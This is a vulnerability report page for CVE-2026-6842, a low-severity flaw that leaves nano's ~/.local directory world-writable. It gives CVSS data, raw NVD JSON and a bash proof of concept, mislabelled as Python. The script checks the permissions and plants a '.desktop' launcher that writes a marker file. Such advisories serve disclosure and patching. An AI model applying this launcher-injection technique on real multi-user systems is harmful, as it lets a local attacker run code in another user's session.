Security Vulnerability Report
中文
CVE-2026-6842 CVSS 2.5 LOW

CVE-2026-6842

Published: 2026-04-22 08:16:13
Last Modified: 2026-04-22 21:23:53

Description

A flaw was found in nano. In environments with permissive umask settings, a local attacker can exploit incorrect directory permissions (0777 instead of 0700) for the `~/.local` directory. This allows the attacker to inject a malicious `.desktop` launcher, which could lead to unintended actions or information disclosure if the launcher is subsequently processed.

CVSS Details

CVSS Score
2.5
Severity
LOW
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

nano (特定受影响版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # PoC for CVE-2026-6842: nano ~/.local directory permission check and exploit simulation TARGET_DIR="$HOME/.local" MALICIOUS_DESKTOP="$TARGET_DIR/malicious.desktop" # Check if the directory exists and has permissive permissions (0777) if [ -d "$TARGET_DIR" ]; then PERMS=$(stat -c "%a" "$TARGET_DIR") echo "[+] Directory $TARGET_DIR exists with permissions: $PERMS" if [ "$PERMS" == "777" ]; then echo "[!] Vulnerability detected! Directory is world-writable." # Simulate injecting a malicious .desktop file echo "[+] Attempting to inject malicious .desktop launcher..." cat > "$MALICIOUS_DESKTOP" <<EOF [Desktop Entry] Version=1.0 Type=Application Name=FakeApp Exec=sh -c 'echo "Vulnerability Exploited" > /tmp/poc.txt' Terminal=false EOF echo "[+] Malicious file created at $MALICIOUS_DESKTOP" echo "[*] Waiting for user interaction to trigger the payload..." else echo "[-] Directory permissions are safe ($PERMS)." fi else echo "[-] Target directory does not exist." fi

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-6842", "sourceIdentifier": "[email protected]", "published": "2026-04-22T08:16:13.170", "lastModified": "2026-04-22T21:23:52.620", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in nano. In environments with permissive umask settings, a local attacker can exploit incorrect directory permissions (0777 instead of 0700) for the `~/.local` directory. This allows the attacker to inject a malicious `.desktop` launcher, which could lead to unintended actions or information disclosure if the launcher is subsequently processed."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 2.5, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.0, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-732"}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2026-6842", "source": "[email protected]"}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2460018", "source": "[email protected]"}]}}